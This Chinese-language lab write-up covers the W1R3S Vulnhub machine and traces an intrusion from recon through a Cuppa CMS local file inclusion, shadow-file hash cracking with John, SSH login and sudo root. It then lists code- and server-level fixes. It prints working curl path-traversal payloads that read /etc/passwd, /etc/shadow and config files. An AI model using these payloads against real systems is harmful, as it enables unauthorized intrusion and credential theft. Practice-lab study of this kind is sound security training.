Cuppa CMS 文件包含漏洞实战:W1R3S 1.0.1靶机从LFI到Root的3步提权 Cuppa CMS文件包含漏洞深度剖析从LFI到Root的实战路径1. 靶机环境与漏洞背景W1R3S 1.0.1是一个专为渗透测试练习设计的Vulnhub靶机其核心漏洞存在于Cuppa CMS的alertConfigField.php文件中。这个基于PHP的内容管理系统由于未对urlConfig参数进行严格过滤导致攻击者可以通过路径遍历实现本地文件包含(LFI)。典型漏洞特征影响版本Cuppa CMS全版本漏洞类型本地文件包含(LFI)危险等级高危利用条件需访问/administrator目录攻击复杂度低在实际测试环境中我们常遇到以下配置特征# 典型漏洞文件路径 /administrator/alerts/alertConfigField.php # 常见敏感文件路径 /etc/passwd /etc/shadow /var/www/html/config.php2. 信息收集与漏洞识别2.1 基础扫描技术完整的渗透测试始于系统化的信息收集。对于W1R3S靶机推荐采用分层扫描策略主机发现nmap -sn 192.168.1.0/24端口扫描nmap -T4 -A -p- 靶机IP服务识别nmap -sV -sC -O 靶机IP常见扫描结果分析端口服务潜在风险21FTP匿名登录可能22SSH暴力破解风险80HTTPWeb应用漏洞3306MySQL弱口令/未授权访问2.2 Web目录枚举使用dirsearch进行深度目录扫描python3 dirsearch.py -u http://靶机IP -e php,html,js -t 50关键发现/administratorCuppa CMS后台/wordpress伪装的干扰目录/javascript可能包含敏感配置3. 漏洞利用实战3.1 LFI漏洞验证通过curl发送POST请求验证漏洞curl -X POST -d urlConfig../../../../../../../../../etc/passwd http://靶机IP/administrator/alerts/alertConfigField.php响应分析技巧查看HTTP状态码200表示成功检查返回内容长度注意特殊字符转义情况3.2 敏感文件提取关键文件获取方法用户列表curl -s --data-urlencode urlConfig../../../../../../../../../etc/passwd http://靶机IP/administrator/alerts/alertConfigField.php | grep -E /bin/bash|/bin/sh密码哈希curl -s --data-urlencode urlConfig../../../../../../../../../etc/shadow http://靶机IP/administrator/alerts/alertConfigField.php shadow.txtWeb配置curl --data-urlencode urlConfig../../../../../../../../../var/www/html/config.php http://靶机IP/administrator/alerts/alertConfigField.php4. 密码破解与权限提升4.1 John破解实战提取有效哈希grep -E root|w1r3s shadow.txt crack.hash使用John破解john --wordlist/usr/share/wordlists/rockyou.txt crack.hash查看破解结果john --show crack.hash典型结果w1r3s:computer:18090:0:99999:7:::4.2 SSH登录与提权建立SSH连接ssh w1r3s靶机IP权限检查sudo -l提权操作sudo su -提权后操作# 查找flag文件 find / -name flag* 2/dev/null # 查看系统信息 cat /etc/issue; uname -a # 检查计划任务 crontab -l5. 防御与加固建议5.1 临时修复方案文件权限控制chmod 750 /administrator/alerts/ chmod 640 /administrator/alerts/alertConfigField.phpWeb服务器配置location ~ /alerts/ { deny all; }5.2 代码层修复参数过滤$allowed_paths [config/,alerts/]; if(!in_array($_POST[urlConfig], $allowed_paths)) { die(Invalid path); }目录限制$base_dir /var/www/html/; $real_path realpath($base_dir . $_POST[urlConfig]); if(strpos($real_path, $base_dir) ! 0) { die(Path traversal attempt detected); }5.3 长期安全措施安全加固清单[ ] 定期更新CMS核心[ ] 实施WAF规则[ ] 启用PHP安全模式[ ] 配置严格的文件权限[ ] 部署入侵检测系统6. 攻击链可视化完整的攻击路径可概括为信息收集 → 2. 服务枚举 → 3. 漏洞识别 → 4. LFI利用 → 5. 凭证获取 → 6. 权限提升时间效率对比阶段新手耗时熟练者耗时信息收集30min10min漏洞识别60min15min密码破解120min5min权限提升60min2min在实际渗透测试项目中这种类型的漏洞通常能在2小时内完成从发现到利用的全过程。关键在于建立系统化的测试流程和丰富的经验积累。